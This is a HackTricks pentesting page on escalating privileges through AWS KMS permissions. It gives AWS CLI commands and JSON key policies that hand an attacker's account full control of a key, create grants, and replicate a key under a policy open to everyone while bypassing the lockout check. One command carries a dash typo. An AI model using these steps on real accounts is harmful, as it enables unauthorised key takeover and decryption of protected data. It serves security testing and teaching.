hacktricks-cloud/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md

AWS - KMS Privesc

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KMS

For more info about KMS check:

{% content-ref url="../aws-services/aws-kms-enum.md" %} aws-kms-enum.md {% endcontent-ref %}

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

With these permissions it's possible to modify the access permissions to the key so it can be used by other accounts or even anyone:

{% code overflow="wrap" %}

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

{% endcode %}

policy.json:

{
    "Version" : "2012-10-17",
    "Id" : "key-consolepolicy-3",
    "Statement" : [ 
        {
            "Sid" : "Enable IAM User Permissions",
            "Effect" : "Allow",
            "Principal" : {
                "AWS" : "arn:aws:iam::<origin_account>:root"
            },
            "Action" : "kms:*",
            "Resource" : "*"
        }, 
        {
            "Sid" : "Allow all use",
            "Effect" : "Allow",
            "Principal" : {
                "AWS" : "arn:aws:iam::<attackers_account>:root"
            },
            "Action" : [ "kms:*" ],
            "Resource" : "*"
        }
    ]
}

kms:CreateGrant

It allows a principal to use a KMS key:

aws kms create-grant \
    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
    --grantee-principal arn:aws:iam::123456789012:user/exampleUser \
    --operations Decrypt

{% hint style="warning" %} A grant can only allow certain types of operations: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations {% endhint %}

{% hint style="warning" %} Note that it might take a couple of minutes for KMS to allow the user to use the key after the grant has been generated. Once that time has passed, the principal can use the KMS key without needing to specify anything.
However, if it's needed to use the grant right away use a grant token (check the following code).
For more info read this. {% endhint %}

# Use the grant token in a request
aws kms generate-data-key \
    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
    –-key-spec AES_256 \
    --grant-tokens $token

Note that it's possible to list grant of keys with:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.

So, an attacker could abuse this to obtain privesc his access to the key and use it

{% code overflow="wrap" %}

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
    "Version": "2012-10-17",
    "Id": "key-consolepolicy-3",
    "Statement": [
        {
            "Sid": "Enable IAM User Permissions",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "kms:*",
            "Resource": "*"
        }
    ]
}

{% endcode %}

kms:Decrypt

This permission allows to use a key to decrypt some information.
For more information check:

{% content-ref url="../aws-post-exploitation/aws-kms-post-exploitation.md" %} aws-kms-post-exploitation.md {% endcontent-ref %}

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Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
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{% endhint %}